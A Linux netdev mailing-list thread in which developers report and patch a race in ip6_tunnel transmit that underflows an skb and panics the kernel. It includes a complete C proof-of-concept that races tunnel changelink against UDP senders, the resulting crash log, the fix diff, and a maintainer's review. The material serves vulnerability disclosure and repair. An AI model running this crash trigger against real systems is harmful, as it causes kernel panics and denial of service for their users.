[PATCH net v2 0/1] ip6_tunnel: snapshot encap in xmit

[PATCH net v2 0/1] ip6_tunnel: snapshot encap in xmit

[Ren Wei]

From: Zixuan Chai <petalzu987@gmail.com>

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv6/ip6_tunnel.c. The bug is
reachable when an IPv6 tunnel changelink operation races with packet
transmission in a network namespace.

The patch makes each transmitted packet use one local encapsulation
snapshot. No regressions were found in the focused build, functional,
and race tests described below.

We will provide detailed information about the bug in this email,
along with a PoC to trigger it.

---- details below ----

Bug details:

ip6_tnl_changelink() can change encapsulation parameters while the
tunnel device is still accepting transmitters. A racing transmitter can
reserve headroom using the old encapsulation state, then build the
packet after the live encapsulation state has changed. This can
underflow the skb head and trigger skb_under_panic() from skb_push().

The patch takes a local snapshot of t->encap in ip6_tnl_xmit() before
calculating the encapsulation header length. Headroom accounting,
metadata validation, and build_header() all use that same snapshot, so
one skb cannot mix encapsulation state from different changelink
generations.

Reproducer:

    make
    ./poc --check-only
    ./poc --race-only --iters 200 --threads 8 --runtime-ms 20

We run the PoC in a 2 vCPU, 1 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_link.h>
#include <linux/if_tunnel.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef IFLA_INFO_KIND
#define IFLA_INFO_KIND 1
#define IFLA_INFO_DATA 2
#endif

#define NL_BUF_SIZE 4096
#define DEFAULT_ITERS 4000
#define DEFAULT_THREADS 4
#define DEFAULT_RUNTIME_MS 150

struct req {
	struct nlmsghdr nlh;
	struct ifinfomsg ifm;
	char buf[NL_BUF_SIZE];
};

struct thread_arg {
	int ifindex;
	int cpu;
	volatile sig_atomic_t *stop;
	unsigned long packets;
	unsigned long errors;
};

static const char *tnl_name = "poc6tnl0";
static const char *dummy_name = "dummy0";
static const char *local_addr = "fec0::1";
static const char *remote_addr = "fec0::1234";
static const char *inner_local4 = "10.23.0.1";
static const char *inner_remote4 = "10.23.0.2";
static int race_threads = DEFAULT_THREADS;
static int race_iterations = DEFAULT_ITERS;
static int race_runtime_ms = DEFAULT_RUNTIME_MS;
static bool run_check = true;
static bool run_race = true;

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void addattr_l(struct nlmsghdr *n, size_t maxlen, int type,
		      const void *data, size_t alen)
{
	size_t len = RTA_LENGTH(alen);
	size_t total = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
	struct rtattr *rta;

	if (total > maxlen) {
		fprintf(stderr, "netlink attribute buffer too small\n");
		exit(1);
	}

	rta = (struct rtattr *)((char *)n + NLMSG_ALIGN(n->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = len;
	if (alen)
		memcpy(RTA_DATA(rta), data, alen);
	n->nlmsg_len = total;
}

static struct rtattr *nest_start(struct nlmsghdr *n, size_t maxlen, int type)
{
	struct rtattr *start;

	start = (struct rtattr *)((char *)n + NLMSG_ALIGN(n->nlmsg_len));
	addattr_l(n, maxlen, type, NULL, 0);
	return start;
}

static void nest_end(struct nlmsghdr *n, struct rtattr *start)
{
	start->rta_len = (char *)n + n->nlmsg_len - (char *)start;
}

static int run_cmd(const char *cmd)
{
	int ret = system(cmd);
    int status;

	if (ret == -1)
		die("system");
    status = WIFEXITED(ret) ? WEXITSTATUS(ret) : 128 + WTERMSIG(ret);
    if (status)
	    fprintf(stderr, "command failed (status=%d): %s\n", status, cmd);
    return status;
}

static int get_ifindex(const char *name)
{
	struct ifreq ifr;
	int fd;

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", name);

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket(AF_INET)");
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die("ioctl(SIOCGIFINDEX)");
	close(fd);

	return ifr.ifr_ifindex;
}

static int nl_open(void)
{
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die("socket(AF_NETLINK)");

	return fd;
}

static int nl_talk_fd(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl nladdr = {
		.nl_family = AF_NETLINK,
	};
	char resp[NL_BUF_SIZE];
	struct iovec iov = {
		.iov_base = nlh,
		.iov_len = nlh->nlmsg_len,
	};
	struct msghdr msg = {
		.msg_name = &nladdr,
		.msg_namelen = sizeof(nladdr),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct nlmsghdr *reply;
	struct nlmsgerr *err;
	ssize_t len;

	if (sendmsg(fd, &msg, 0) < 0)
		die("sendmsg");

	iov.iov_base = resp;
	iov.iov_len = sizeof(resp);
	len = recvmsg(fd, &msg, 0);
	if (len < 0)
		die("recvmsg");

	reply = (struct nlmsghdr *)resp;
	if (!NLMSG_OK(reply, len) || reply->nlmsg_type != NLMSG_ERROR) {
		fprintf(stderr, "unexpected netlink reply type %u\n", reply->nlmsg_type);
		return -1;
	}

	err = NLMSG_DATA(reply);
	return err->error;
}

static void build_invalid_setlink_req(struct req *req, int ifindex, uint16_t dport)
{
	struct rtattr *linkinfo;
	struct rtattr *infodata;
	const char kind[] = "ip6tnl";
	uint16_t encap_type = TUNNEL_ENCAP_GUE;
	uint16_t encap_flags = TUNNEL_ENCAP_FLAG_REMCSUM;
	uint16_t encap_dport = htons(dport);

	memset(req, 0, sizeof(*req));
	req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->ifm));
	req->nlh.nlmsg_type = RTM_NEWLINK;
	req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	req->ifm.ifi_family = AF_UNSPEC;
	req->ifm.ifi_index = ifindex;

	linkinfo = nest_start(&req->nlh, sizeof(*req), IFLA_LINKINFO);
	addattr_l(&req->nlh, sizeof(*req), IFLA_INFO_KIND, kind, sizeof(kind));
	infodata = nest_start(&req->nlh, sizeof(*req), IFLA_INFO_DATA);
	addattr_l(&req->nlh, sizeof(*req), IFLA_IPTUN_ENCAP_TYPE,
		  &encap_type, sizeof(encap_type));
	addattr_l(&req->nlh, sizeof(*req), IFLA_IPTUN_ENCAP_FLAGS,
		  &encap_flags, sizeof(encap_flags));
	addattr_l(&req->nlh, sizeof(*req), IFLA_IPTUN_ENCAP_DPORT,
		  &encap_dport, sizeof(encap_dport));
	addattr_l(&req->nlh, sizeof(*req), IFLA_IPTUN_COLLECT_METADATA, NULL, 0);
	nest_end(&req->nlh, infodata);
	nest_end(&req->nlh, linkinfo);
}

static int send_invalid_setlink(int ifindex, uint16_t dport)
{
	struct req req;
	int fd;
	int err;

	build_invalid_setlink_req(&req, ifindex, dport);
	fd = nl_open();
	err = nl_talk_fd(fd, &req.nlh);
	close(fd);

	return err;
}

static int setup_outer(void)
{
	char cmd[1024];

	snprintf(cmd, sizeof(cmd),
		 "ip link add %s type dummy 2>/dev/null || true; "
		 "ip link set %s up; "
		 "ip -6 addr replace %s/64 dev %s",
		 dummy_name, dummy_name, local_addr, dummy_name);
	return run_cmd(cmd);
}

static int create_ip6tnl_link(void)
{
	struct req req;
	struct rtattr *linkinfo;
	struct rtattr *infodata;
	struct in6_addr local;
	struct in6_addr remote;
	const char kind[] = "ip6tnl";
	uint8_t proto = IPPROTO_IPIP;
	int link = get_ifindex(dummy_name);
	int fd;
	int err;

	if (inet_pton(AF_INET6, local_addr, &local) != 1 ||
		inet_pton(AF_INET6, remote_addr, &remote) != 1)
			die("inet_pton(AF_INET6)");

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifm));
	req.nlh.nlmsg_type = RTM_NEWLINK;
	req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK |
						NLM_F_CREATE | NLM_F_EXCL;
	req.ifm.ifi_family = AF_UNSPEC;
	addattr_l(&req.nlh, sizeof(req), IFLA_IFNAME, tnl_name,
			  strlen(tnl_name) + 1);

	linkinfo = nest_start(&req.nlh, sizeof(req), IFLA_LINKINFO);
	addattr_l(&req.nlh, sizeof(req), IFLA_INFO_KIND, kind, sizeof(kind));
	infodata = nest_start(&req.nlh, sizeof(req), IFLA_INFO_DATA);
	addattr_l(&req.nlh, sizeof(req), IFLA_IPTUN_LINK, &link, sizeof(link));
	addattr_l(&req.nlh, sizeof(req), IFLA_IPTUN_LOCAL, &local, sizeof(local));
	addattr_l(&req.nlh, sizeof(req), IFLA_IPTUN_REMOTE, &remote,
			  sizeof(remote));
	addattr_l(&req.nlh, sizeof(req), IFLA_IPTUN_PROTO, &proto, sizeof(proto));
	nest_end(&req.nlh, infodata);
	nest_end(&req.nlh, linkinfo);

	fd = nl_open();
	err = nl_talk_fd(fd, &req.nlh);
	close(fd);
	return err;
}

static int cleanup_tunnel(void)
{
	char cmd[256];

	snprintf(cmd, sizeof(cmd), "ip link del %s 2>/dev/null || true", tnl_name);
	return run_cmd(cmd);
}

static int create_tunnel(void)
{
    char cmd[512];
    int err;

    err = create_ip6tnl_link();
    if (err) {
	    fprintf(stderr, "RTM_NEWLINK ip6tnl failed: %d (%s)\n", err,
		    strerror(-err));
	    return 1;
    }

    snprintf(cmd, sizeof(cmd),
	     "ip addr replace %s peer %s dev %s && ip link set %s up",
		 inner_local4, inner_remote4, tnl_name, tnl_name);
	return run_cmd(cmd);
}

static bool tunnel_mutated(void)
{
	char cmd[512];
	FILE *fp;
	char buf[4096];
	bool mutated = false;

	snprintf(cmd, sizeof(cmd), "ip -d link show dev %s 2>/dev/null", tnl_name);
	fp = popen(cmd, "r");
	if (!fp)
		die("popen(ip link show)");

	while (fgets(buf, sizeof(buf), fp)) {
		if (strstr(buf, "encap gue") && strstr(buf, "encap-remcsum"))
			mutated = true;
	}

	pclose(fp);
	return mutated;
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	if (cpu < 0)
		return;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	(void)pthread_setaffinity_np(pthread_self(), sizeof(set), &set);
}

static void *sender_thread(void *arg)
{
	struct thread_arg *targ = arg;
	struct sockaddr_in sin = {
		.sin_family = AF_INET,
		.sin_port = htons(9),
	};
	uint8_t pkt[128];
	int fd;

	pin_to_cpu(targ->cpu);

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket(AF_INET)");

	if (inet_pton(AF_INET, inner_remote4, &sin.sin_addr) != 1)
		die("inet_pton(AF_INET)");
	memset(pkt, 0x41, sizeof(pkt));

	while (!*targ->stop) {
		if (sendto(fd, pkt, sizeof(pkt), 0,
			   (struct sockaddr *)&sin, sizeof(sin)) < 0) {
			targ->errors++;
			if (errno == ENETDOWN || errno == ENODEV ||
			    errno == ENETUNREACH)
				break;
		} else {
			targ->packets++;
		}
	}

	close(fd);
	return NULL;
}

static int run_check_mode(void)
{
	int ifindex;
	int err;
	bool mutated;

	if (setup_outer())
		return 1;
	cleanup_tunnel();
	if (create_tunnel())
		return 1;

	ifindex = get_ifindex(tnl_name);
	err = send_invalid_setlink(ifindex, 5555);
	mutated = tunnel_mutated();

	printf("[check] netlink_error=%d (%s)\n", err,
	       err ? strerror(-err) : "success");
	printf("[check] mutated=%s\n", mutated ? "yes" : "no");

	return (err == -EINVAL && mutated) ? 0 : 1;
}

static int run_race_mode(void)
{
	int iter;

	for (iter = 0; iter < race_iterations; iter++) {
		pthread_t tids[64];
		struct thread_arg args[64];
		volatile sig_atomic_t stop = 0;
		struct timespec ts;
		int ifindex;
		int i;
		int err;
		unsigned long sent = 0;
		unsigned long failed = 0;

		if (race_threads > (int)(sizeof(tids) / sizeof(tids[0]))) {
			fprintf(stderr, "too many threads requested\n");
			return 1;
		}

		cleanup_tunnel();
		if (create_tunnel())
			return 1;
		ifindex = get_ifindex(tnl_name);

		for (i = 0; i < race_threads; i++) {
			args[i].ifindex = ifindex;
			args[i].cpu = i % 4;
			args[i].stop = &stop;
			args[i].packets = 0;
			args[i].errors = 0;
			if (pthread_create(&tids[i], NULL, sender_thread, &args[i])) {
				perror("pthread_create");
				stop = 1;
				for (i--; i >= 0; i--)
					pthread_join(tids[i], NULL);
				return 1;
			}
		}

		ts.tv_sec = 0;
		ts.tv_nsec = 20 * 1000 * 1000;
		nanosleep(&ts, NULL);

		err = send_invalid_setlink(ifindex, (uint16_t)(6000 + (iter % 512)));

		ts.tv_sec = race_runtime_ms / 1000;
		ts.tv_nsec = (race_runtime_ms % 1000) * 1000 * 1000L;
		nanosleep(&ts, NULL);
		stop = 1;

		for (i = 0; i < race_threads; i++) {
			pthread_join(tids[i], NULL);
			sent += args[i].packets;
			failed += args[i].errors;
		}

		if ((iter % 100) == 0 || err != -EINVAL) {
			printf("[race] iter=%d send_err=%d mutated=%s packets=%lu errors=%lu\n",
			       iter, err, tunnel_mutated() ? "yes" : "no", sent, failed);
			fflush(stdout);
		}
	}

	return 0;
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [--check-only] [--race-only] [--iters N] [--threads N] [--runtime-ms N]\n",
		prog);
	exit(1);
}

static void parse_args(int argc, char **argv)
{
	int i;

	for (i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "--check-only")) {
			run_check = true;
			run_race = false;
		} else if (!strcmp(argv[i], "--race-only")) {
			run_check = false;
			run_race = true;
		} else if (!strcmp(argv[i], "--iters") && i + 1 < argc) {
			race_iterations = atoi(argv[++i]);
		} else if (!strcmp(argv[i], "--threads") && i + 1 < argc) {
			race_threads = atoi(argv[++i]);
		} else if (!strcmp(argv[i], "--runtime-ms") && i + 1 < argc) {
			race_runtime_ms = atoi(argv[++i]);
		} else {
			usage(argv[0]);
		}
	}

	if (race_threads <= 0 || race_threads > 64 ||
	    race_iterations <= 0 || race_runtime_ms <= 0)
		usage(argv[0]);
}

int main(int argc, char **argv)
{
	int ret = 0;

	parse_args(argc, argv);

	if (run_check)
		ret |= run_check_mode();

	if (run_race)
		ret |= run_race_mode();

	return ret;
}
------END poc.c---------

----BEGIN crash log----

[baseline] starting PoC check
[    2.565456] ip (72) used greatest stack depth: 27344 bytes left
[    2.566217] ip (69) used greatest stack depth: 27200 bytes left
[    2.570919] ip (78) used greatest stack depth: 26920 bytes left
[check] netlink_error=-22 (Invalid argument)
[check] mutated=no
[    2.577014] poc (68) used greatest stack depth: 26248 bytes left
[baseline] check exit=1
[baseline] starting PoC race
[    2.589639] ip (82) used greatest stack depth: 24760 bytes left
[race] iter=0 send_err=-22 mutated=no packets=4079 errors=0
[    2.848104] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
[    4.844972] skbuff: skb_under_panic: text:ffffffffb759b61c len:224 put:40 head:ffff8880050e3a80 data:ffff8880050e3a7c tail:0xdc end:0x180 dev:poc6tnl0
[    4.847654] ------------[ cut here ]------------
[    4.848645] kernel BUG at net/core/skbuff.c:214!
[    4.849571] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[    4.850653] CPU: 1 UID: 0 PID: 561 Comm: poc Not tainted 7.2.0-rc4-00359-g78f75d632f74 #1 PREEMPT(lazy) 
[    4.852421] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[    4.853990] RIP: 0010:skb_panic+0xbe/0xc0
[    4.854631] Code: ff 8b 4b 70 48 c7 c7 60 0e f6 b7 41 56 4d 89 f9 41 55 41 54 55 44 8b 44 24 34 48 8b 54 24 28 48 8b 74 24 20 e8 33 ab d5 fe 90 <0f> 0b 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa
[    4.856913] RSP: 0018:ffffc900012c71c0 EFLAGS: 00010246
[    4.857544] RAX: 000000000000008a RBX: ffff888003313000 RCX: ffffffffb5ed8b55
[    4.858392] RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000001
[    4.859248] RBP: ffff8880050e3a7c R08: 0000000000000000 R09: fffffbfff711a524
[    4.860119] R10: 0000000000000003 R11: 203a666675626b73 R12: 00000000000000dc
[    4.860997] R13: 0000000000000180 R14: ffff888002c18120 R15: ffff8880050e3a80
[    4.861859] FS:  00007f3b9a1d0640(0000) GS:ffff88807c2d5000(0000) knlGS:0000000000000000
[    4.862846] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.863601] CR2: 00000000006167e0 CR3: 000000000414e001 CR4: 0000000000370ef0
[    4.864477] Call Trace:
[    4.864808]  <TASK>
[    4.865088]  ? ip6_tnl_xmit+0xa2c/0x12d0
[    4.865591]  ? ip6_tnl_xmit+0xa2c/0x12d0
[    4.866076]  skb_push+0x7b/0x80
[    4.866493]  ip6_tnl_xmit+0xa2c/0x12d0
[    4.866984]  ? __pfx_ip6_tnl_xmit+0x10/0x10
[    4.867497]  ? ip_make_skb+0x1e1/0x220
[    4.867974]  ? udp_sendmsg+0xadc/0xf60
[    4.868460]  ? __sys_sendto+0x28d/0x2b0
[    4.869036]  ? __x64_sys_sendto+0x71/0x90
[    4.869549]  ? do_syscall_64+0x102/0x5a0
[    4.870054]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    4.870704]  ip6_tnl_start_xmit+0x5a1/0x900
[    4.871238]  ? __pfx_ip6_tnl_start_xmit+0x10/0x10
[    4.871841]  ? netif_skb_features+0x48a/0x7d0
[    4.872437]  ? kasan_save_track+0x14/0x30
[    4.872949]  dev_hard_start_xmit+0x84/0x300
[    4.873464]  __dev_queue_xmit+0x891/0x1a50
[    4.873967]  ? __pfx___alloc_skb+0x10/0x10
[    4.874472]  ? selinux_ip_postroute_compat+0x271/0x290
[    4.875110]  ? __pfx___dev_queue_xmit+0x10/0x10
[    4.875679]  ? __pfx_selinux_ip_postroute_compat+0x10/0x10
[    4.876366]  ? skb_complete_wifi_ack+0x1e1/0x1f0
[    4.876963]  ? __pfx__copy_from_iter+0x10/0x10
[    4.877513]  ? pick_eevdf+0xd9/0x330
[    4.877976]  ? __pfx_selinux_ip_postroute+0x10/0x10
[    4.878584]  ? selinux_ip_postroute+0x31d/0x5f0
[    4.879141]  ? neigh_connected_output+0x169/0x1d0
[    4.879716]  ip_finish_output2+0x2e6/0x9b0
[    4.880271]  ? __ip_append_data+0x15bf/0x1b50
[    4.880824]  ? __pfx_ip_finish_output2+0x10/0x10
[    4.881392]  __ip_finish_output.part.0+0x256/0x3f0
[    4.881978]  ? __pfx___ip_finish_output.part.0+0x10/0x10
[    4.882659]  ? __pfx_selinux_ip_postroute+0x10/0x10
[    4.883254]  ? nf_hook_slow+0x77/0x110
[    4.883741]  ip_output+0x19e/0x280
[    4.884192]  ? __pfx_ip_output+0x10/0x10
[    4.884859]  ? __pfx_ip_finish_output+0x10/0x10
[    4.885416]  ? __pfx_ip_make_skb+0x10/0x10
[    4.885914]  ip_send_skb+0xbf/0xd0
[    4.886361]  udp_send_skb+0x31b/0x4c0
[    4.886848]  udp_sendmsg+0xb16/0xf60
[    4.887295]  ? __pfx_udp_sendmsg+0x10/0x10
[    4.887794]  ? vruntime_eligible+0xdd/0x100
[    4.888349]  ? selinux_socket_sendmsg+0x5c/0x100
[    4.888941]  ? inet_send_prepare+0x18/0x110
[    4.889455]  __sys_sendto+0x28d/0x2b0
[    4.889910]  ? __pfx___sys_sendto+0x10/0x10
[    4.890430]  ? finish_task_switch.isra.0+0x16e/0x510
[    4.891033]  ? xfd_validate_state+0x28/0xb0
[    4.891543]  __x64_sys_sendto+0x71/0x90
[    4.892029]  do_syscall_64+0x102/0x5a0
[    4.892543]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    4.893179] RIP: 0033:0x4528a6
[    4.893569] Code: 85 02 00 44 8b 4c 24 2c 4c 8b 44 24 20 41 89 c4 44 8b 54 24 28 48 8b 54 24 18 b8 2c 00 00 00 48 8b 74 24 10 8b 7c 24 08 0f 05 <48> 3d 00 f0 ff ff 77 3a 44 89 e7 48 89 44 24 08 e8 85 85 02 00 48
[    4.895726] RSP: 002b:00007f3b9a1d0050 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[    4.896680] RAX: ffffffffffffffda RBX: 00007fff3ca0b700 RCX: 00000000004528a6
[    4.897536] RDX: 0000000000000080 RSI: 00007f3b9a1d0120 RDI: 000000000000000a
[    4.898543] RBP: 000000000000000a R08: 00007f3b9a1d0090 R09: 0000000000000010
[    4.899401] R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000000
[    4.900372] R13: 00007f3b9a1d0090 R14: 0000000000417740 R15: 00007f3b999d0000
[    4.901214]  </TASK>
[    4.901528] Modules linked in:
[    4.901956] ---[ end trace 0000000000000000 ]---
[    4.902553] RIP: 0010:skb_panic+0xbe/0xc0
[    4.903065] Code: ff 8b 4b 70 48 c7 c7 60 0e f6 b7 41 56 4d 89 f9 41 55 41 54 55 44 8b 44 24 34 48 8b 54 24 28 48 8b 74 24 20 e8 33 ab d5 fe 90 <0f> 0b 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa
[    4.905312] RSP: 0018:ffffc900012c71c0 EFLAGS: 00010246
[    4.905973] RAX: 000000000000008a RBX: ffff888003313000 RCX: ffffffffb5ed8b55
[    4.906848] RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000001
[    4.907783] RBP: ffff8880050e3a7c R08: 0000000000000000 R09: fffffbfff711a524
[    4.908665] R10: 0000000000000003 R11: 203a666675626b73 R12: 00000000000000dc
[    4.909547] R13: 0000000000000180 R14: ffff888002c18120 R15: ffff8880050e3a80
[    4.910428] FS:  00007f3b9a1d0640(0000) GS:ffff88807c2d5000(0000) knlGS:0000000000000000
[    4.911438] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.912216] CR2: 00000000006167e0 CR3: 000000000414e001 CR4: 0000000000370ef0
[    4.913107] Kernel panic - not syncing: Fatal exception in interrupt
[    4.914485] Kernel Offset: 0x34c00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
QEMU_EXIT=0

-----END crash log-----

Validation:

The fixed kernel completed the functional IPv4-over-IPv6 test and 200
concurrent changelink/transmit iterations. The runs completed without
KASAN reports, skb_under_panic(), oopses, or panics.

Changes in v2:

v1 Link: https://lore.kernel.org/all/cover.1785221754.git.petalzu987@gmail.com/

- Replace TX queue quiescing and synchronize_net() with a packet-local
	encapsulation snapshot in ip6_tnl_xmit().
- Use the same snapshot for encapsulation length, metadata validation,
	headroom accounting, and header construction.
- Avoid noqueue packet drops and changes to pre-existing TX queue state.
- Remove the temporary tunnel object and the redundant hlen update.
- Cover ip6tnl and IPv6 GRE-family users of the shared transmit path.
- Leave separate control-plane transactional and IPv4 tunnel issues for
	follow-up work.
- Update the subject to describe the new xmit-side fix.

This patch was developed with assistance from Codex:gpt-5.4. The changes
and test results were manually reviewed.

Zixuan Chai (1):
	ip6_tunnel: snapshot encap in xmit

 include/net/ip6_tunnel.h | 10 +++++-----
 net/ipv6/ip6_tunnel.c    | 21 ++++++++++++++++-----
 2 files changed, 21 insertions(+), 10 deletions(-)

-- 
2.34.1

[PATCH net v2 1/1] ip6_tunnel: snapshot encap in xmit

[Ren Wei]

From: Zixuan Chai <petalzu987@gmail.com>

ip6_tnl_changelink() can update encapsulation parameters while the
netdevice is transmitting packets. ip6_tnl_xmit() can calculate packet
headroom with t->encap_hlen and later build an encapsulation header from
the live t->encap. A concurrent update can change the encapsulation
header between these accesses and make skb_push() underflow the skb head.

Take a local snapshot of t->encap before calculating the encapsulation
header length. Use that same snapshot for headroom accounting, metadata
validation, and build_header(). This keeps all encapsulation decisions
for an skb consistent even if changelink updates the live configuration.

Fixes: b3a27b519b22 ("ip6_tunnel: Add support for fou/gue encapsulation")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 include/net/ip6_tunnel.h | 10 +++++-----
 net/ipv6/ip6_tunnel.c    | 21 ++++++++++++++++-----
 2 files changed, 21 insertions(+), 10 deletions(-)

diff --git a/include/net/ip6_tunnel.h b/include/net/ip6_tunnel.h
index b99805ee2fd1..6e76e50a4406 100644
--- a/include/net/ip6_tunnel.h
+++ b/include/net/ip6_tunnel.h
@@ -106,22 +106,22 @@ static inline int ip6_encap_hlen(struct ip_tunnel_encap *e)
 	return hlen;
 }
 
-static inline int ip6_tnl_encap(struct sk_buff *skb, struct ip6_tnl *t,
+static inline int ip6_tnl_encap(struct sk_buff *skb, struct ip_tunnel_encap *e,
 				u8 *protocol, struct flowi6 *fl6)
 {
 	const struct ip6_tnl_encap_ops *ops;
 	int ret = -EINVAL;
 
-	if (t->encap.type == TUNNEL_ENCAP_NONE)
+	if (e->type == TUNNEL_ENCAP_NONE)
 		return 0;
 
-	if (t->encap.type >= MAX_IPTUN_ENCAP_OPS)
+	if (e->type >= MAX_IPTUN_ENCAP_OPS)
 		return -EINVAL;
 
 	rcu_read_lock();
-	ops = rcu_dereference(ip6tun_encaps[t->encap.type]);
+	ops = rcu_dereference(ip6tun_encaps[e->type]);
 	if (likely(ops && ops->build_header))
-		ret = ops->build_header(skb, &t->encap, protocol, fl6);
+		ret = ops->build_header(skb, e, protocol, fl6);
 	rcu_read_unlock();
 
 	return ret;
diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c
index ebf83f090376..d47757e8a388 100644
--- a/net/ipv6/ip6_tunnel.c
+++ b/net/ipv6/ip6_tunnel.c
@@ -1102,6 +1102,7 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
 		 __u8 proto)
 {
 	struct ip6_tnl *t = netdev_priv(dev);
+	struct ip_tunnel_encap ipencap;
 	struct net *net = t->net;
 	struct ipv6hdr *ipv6h;
 	struct ipv6_tel_txoption opt;
@@ -1109,10 +1110,11 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
 	struct net_device *tdev;
 	int err_count, mtu;
 	unsigned int eth_hlen = t->dev->type == ARPHRD_ETHER ? ETH_HLEN : 0;
-	unsigned int psh_hlen = sizeof(struct ipv6hdr) + t->encap_hlen;
-	unsigned int max_headroom = psh_hlen;
+	unsigned int max_headroom;
 	__be16 payload_protocol;
 	bool use_cache = false;
+	unsigned int psh_hlen;
+	int encap_hlen;
 	u8 hop_limit;
 	int err = -1;
 
@@ -1202,6 +1204,15 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
 				     t->parms.name);
 		goto tx_err_dst_release;
 	}
+
+	/* Can tear, but hlen and build_header() use the same snapshot. */
+	ipencap = data_race(t->encap);
+	encap_hlen = ip6_encap_hlen(&ipencap);
+	if (unlikely(encap_hlen < 0))
+		goto tx_err_dst_release;
+	psh_hlen = sizeof(struct ipv6hdr) + encap_hlen;
+	max_headroom = psh_hlen;
+
 	mtu = dst6_mtu(dst) - eth_hlen - psh_hlen - t->tun_hlen;
 	if (encap_limit >= 0) {
 		max_headroom += 8;
@@ -1251,7 +1262,7 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
 	}
 
 	if (t->parms.collect_md) {
-		if (t->encap.type != TUNNEL_ENCAP_NONE)
+		if (ipencap.type != TUNNEL_ENCAP_NONE)
 			goto tx_err_dst_release;
 	} else {
 		if (use_cache && ndst)
@@ -1272,10 +1283,10 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
 	 * needed_headroom if necessary.
 	 */
 	max_headroom = LL_RESERVED_SPACE(tdev) + sizeof(struct ipv6hdr)
-			+ dst->header_len + t->hlen;
+			+ dst->header_len + t->tun_hlen + encap_hlen;
 	ip_tunnel_adj_headroom(dev, max_headroom);
 
-	err = ip6_tnl_encap(skb, t, &proto, fl6);
+	err = ip6_tnl_encap(skb, &ipencap, &proto, fl6);
 	if (err)
 		return err;
 
-- 
2.34.1

Re: [PATCH net v2 1/1] ip6_tunnel: snapshot encap in xmit

[Kuniyuki Iwashima]

From: Ren Wei <weir@nebusec.ai>
Date: Sat,  8 Aug 2026 16:40:49 +0800
> From: Zixuan Chai <petalzu987@gmail.com>
> 
> ip6_tnl_changelink() can update encapsulation parameters while the
> netdevice is transmitting packets. ip6_tnl_xmit() can calculate packet
> headroom with t->encap_hlen and later build an encapsulation header from
> the live t->encap. A concurrent update can change the encapsulation
> header between these accesses and make skb_push() underflow the skb head.
> 
> Take a local snapshot of t->encap before calculating the encapsulation
> header length.

This intorduce per-skb cost in the fast path for unlikely changelink.

Right approach is to convert it to RCU pointer (and remove
synchronize_net() there).

0ba269933f73 geneve: convert config to RCU-protected pointer
777434f53e77 geneve: pass geneve_config pointer to helper functions


> Use that same snapshot for headroom accounting, metadata
> validation, and build_header(). This keeps all encapsulation decisions
> for an skb consistent even if changelink updates the live configuration.
> 
> Fixes: b3a27b519b22 ("ip6_tunnel: Add support for fou/gue encapsulation")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
> Signed-off-by: Ren Wei <weir@nebusec.ai>
> ---
>  include/net/ip6_tunnel.h | 10 +++++-----
>  net/ipv6/ip6_tunnel.c    | 21 ++++++++++++++++-----
>  2 files changed, 21 insertions(+), 10 deletions(-)
> 
